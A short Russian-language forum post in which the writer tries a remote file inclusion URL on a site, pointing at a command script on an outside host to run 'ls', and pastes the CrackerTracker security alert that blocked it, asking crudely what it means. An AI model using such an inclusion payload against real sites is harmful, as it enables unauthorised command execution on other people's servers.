Вот я в строчку ввёл /index.php?file=http://mysite.ru/cmd.txt?cmd=ls

И мне ввывело следующие

- SECURITY ALERT -

The Board Security System has detected, that you wanted to bring bad
Code to this Forum or you have tried to exploit something here or maybe
another attack like this.

This attempt was blocked and we logged all information about this.


If you see this message after including a new MOD to your Forum or if
you have reached this site over a normal Forum Link, please contact
the Board Administrator to fix this Problem.

CBACK CrackerTracker v4


Ну вот и что это за х**нь такая?